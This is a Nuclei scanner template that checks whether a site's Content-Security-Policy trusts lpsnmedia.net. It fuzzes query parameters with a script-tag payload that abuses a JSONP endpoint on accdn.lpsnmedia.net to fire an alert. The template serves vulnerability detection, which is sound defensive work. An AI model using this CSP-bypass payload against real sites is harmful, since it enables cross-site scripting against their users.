id: lpsnmedia-accdn-csp-bypass

info:
  name: Content-Security-Policy Bypass - LPSN Media
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,lpsnmedia-accdn

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "lpsnmedia.net"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: lpsnmedia_accdn_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://accdn.lpsnmedia.net/api/account/1/configuration/engagement-window/window-confs/1?cb=alert"></script>'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "lpsnmedia_accdn_csp_xss == true"
# digest: 4a0a00473045022077fd767ac2e2e8f091f69382356eabed1c4bdaa05c95255e27111a5fabb6f7fd022100c63309c8e24035ddc60352ec9b4290847f82251fde8b54ba046dfb89f18f1841:922c64590222798bb761d5b6d8e72950